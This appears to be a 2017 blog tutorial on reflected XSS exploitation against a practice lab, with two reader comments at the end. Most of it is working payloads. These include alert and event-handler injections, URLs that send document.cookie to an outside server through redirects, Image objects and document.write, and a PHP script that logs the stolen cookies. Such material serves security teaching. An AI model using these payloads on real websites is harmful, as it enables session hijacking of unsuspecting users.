XSS exploitation part 1

Hey, Guys! so We are finally finished with the basics of JavaScript :D required to find and Exploit XSS. This tutorial will not be on Finding XSS (We will also talk about that & its different contexts etc..in the next one)

What is Cross-site scripting (XSS)?

XSS is an attack vector that an attacker could use to inject JavaScript into a Website and exploit it by stealing user's sessions, perform CSRF actions on behalf of victim basically bypassing SOP (Same Origin Policy) about which we talked in JavaScript Final tutorial.

Now, There are 3 Types of XSS

1. Reflected or Non-Persistent XSS:
In This type of XSS, the attacker needs to share a link with Victim and that Will cause Malicious JavaScript to execute. However, XSS will execute on Visting that Specific link with specific XSS Payload only ie. It is not stored

and is non-persistent as the name says. The XSS Vector Could be in GET or POST request.

2. Stored or Persistent XSS:
It Occurs in Places Where a Malicious User input Containing XSS Vector is stored or "saved". Thus It may (happens mostly..) cause Multiple User to be affected. Stored XSS could be in User's Name/Comments Section/Group Name/Status/TimeLine/Some Uploaded File Name ie. Some Functionalities/Inputs which could be shared with other Users too, causing multiple users to be affected.

3. DOM XSS:
This a Category of XSS Which could again be both "Stored" or "Reflected".This happens when XSS could be Executed (Sink) in Existing "JavaScript" on the Page itself via an Untrusted User Input(Source). We Will Discuss DOM XSS in details in a Separate Tutorial.

NOTE: There's another Category of XSS Called as "Self-XSS" Which is a situation in Which you have Found an XSS Vulnerability (of any type of above listed Three) but it Could not be Shared With any User Except for their Own selves ie. it could not be used to Exploit any User. However, Under some circumstances, it is even possible to convert Self-XSS to an Exploitable One Which is also left for another Upcoming Tutorial.

So again, in this Tutorial We would be talking about "Very Basics of XSS", details regarding Finding XSS's and Different Contexts of XSS would be covered in depth in the next tutorial. First of all in any User Input Try Putting a Simple HTML Tag like <B>, <S>, <I>, <h1>.. etc to Confirm if you are able to inject HTML.

```
http://leettime.net/xsslab1/chalg1.php?name=<h1>SomeRandomText</h1>
```

Now Check Your Source Code and look for The Entered Input if it's Reflected or not, also you should be able to see the Effect of it in The Page Itself without seeing the source if it's reflected. If The Source Code Contains that, we could Try Using "script" tags as We learned to Execute JavaScript and call the Infamous :P "alert", "confirm" or "prompt" method to confirm that javascript is execution.

```
http://leettime.net/xsslab1/chalg1.php?name=<script>alert("Checking")</script>
```

Now If The Input is Reflected as is into the Page You will see an alert box with "Checking" as its message body, also you could verify by checking the source of the page. Now, <script> Tags are not the only way to Execute javascript, as we learnt we could execute inline-javascript too using Event Handlers (a lot of 'em).

Some Examples could be(You could use any suitable Event Handler other than these):

```
http://leettime.net/xsslab1/chalg1.php?name=<body onload="alert(1)">
```

This will execute javascript when body tag gets loaded into The DOM.

```
http://leettime.net/xsslab1/chalg1.php?name=<h1 onmouseover="alert(1)">Hover
```

This will execute Javascript when we hover mouse on the Heading Tag with Text "Hover"

```
http://leettime.net/xsslab1/chalg1.php?name=<input onfocus="alert(1)" autofocus>
```

This will cause input Tag to execute alert when it is focused/selected and "autofocus" attribute focuses it automatically causing to Execute alert(1) without any user interaction and as such there could be such numerous examples.

Stealing User's Cookies

JavaScript could be used to Access a User's Cookies as well using "document.cookie" property which we had discussed so one could steal a Victim's Session. Let us use the Classic <script> tags only for now.

```
http://leettime.net/xsslab1/chalg1.php?name=<script>alert(document.cookie)</script>
```

But When Shared with Victim, this will alert the cookies but on the Victim Side only. Let us Send These Cookies To Our Server/Website(https://securityidiots.com) by changing "location.href" property.

NOTE: Remember To URL Encode "+" to %2b in a GET Request otherwise it is treated a WhiteSpace

```
http://leettime.net/xsslab1/chalg1.php?name=<script>location.href="https://securityidiots.com/?mycooki
```

This will make Victim to Redirect to "https://securityidiots.com/?mycookies=.....Cookies here .....; UserSession=OljieowjoiO130901933;" Thus sending Cookies as a parameter to Our Server and We Could Check them in Our Server Logs and Use them in Cookie Header To Access that User's Session on the Affected Website Without Authentication.

We Could also make a Simple PHP Script to Capture The Cookies and Save it in a File instead of Checking our Server Logs in case we don't have access.

Code: capture.php

```
<?php
if(isset($_GET['mycookies']))
file_put_contents("Cookies.txt",$_GET['mycookies'],FILE_APPEND);
?>
```

Now Making a Request to this Script with cookies in mycookies parameter will Create a file "Cookies.txt" and Keep Saving and Appending all The Cookies To it.

```
http://leettime.net/xsslab1/chalg1.php?name=<script>location.href="https://securityidiots.com/capture.ph
```

However Since This redirects The Victim to Attacker's Page its noisy and We want our vector to be as stealthy as possible. We Could Use a Tag like Image Tag to send Cookies without redirection or any Major Changes on The Page so We can use document.createElement to Create an image tag and in "src" attribute of it we concatenate our Server with document.cookie and Add it to The DOM.

We can do it in following manner:

```
<script>
var imgtag = document.createElement("img");//creates img element
imgtag.src="http://securityidiots.com/capture.php?mycookies="+document.cookie;//adds attribute src to in
document.body.appendChild(imgtag);//appends the created element to the body tag of the DOM
</script>
```

so it becomes

```
http://leettime.net/xsslab1/chalg1.php?name=<script>var x=document.createElement("img");x.src="http://s
```

There's an even shorter way to do this, Javascript Provides an "Image" Constructor and Instead of document.createElement('img') you could use: var x=new Image();

```
http://leettime.net/xsslab1/chalg1.php?name=<script>var x=new Image();x.src="http://securityidiots.com/c
```

Now a GET Request would be sent to our server with Cookies of the Victim Stealthily.
You can also use document.write() to directly add write something to the page.

```
http://leettime.net/xsslab1/chalg1.php?name=<script>document.write('<img src="http://securityidiots.com
```

HTTPOnly Cookies!
A Cookie has the following format:

Cookie: CookieName=CookieValue; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=example.com;Secure; HttpOnly

Cookies are separated by ';'

"Expires":	decides the time of cookie to expire, if you Enter a Time of Past it gets expired immediately
"Path":	decides Cookies should be available from Which Path of the Site
"Domain":	Tells Which domain to send cookies to. If it is not specified its limited to the current domain otherwise if specified it applies to its subdomains too
"Secure":	Specifies that Cookies should be sent only over HTTPS connection
"HttpOnly":	if Specified, means that Javascript would not be able to access Cookies. So, in this Case, We Could not Steal any User/Admin Cookies as document.cookie would return an empty string and Thus We can only perform CSRF actions on his behalf Which We Would also Cover in one of the upcoming Tutorials.

So, That's it for this Tutorial, I wanted people to Know How To Exploit a Very Basic XSS by Stealing User Cookies and In The Next Tutorial We would look at in-depth Finding XSS and Different Contexts of XSS. Stay Tuned!

Author : Rahul Maini
Date : 2017-05-27

Matthieu • 2 years ago
Thanks for your time and share :)
Reply • Share ›

Buffer overflow • 3 years ago
Nice tutorials Rahul , looking for your next ones !!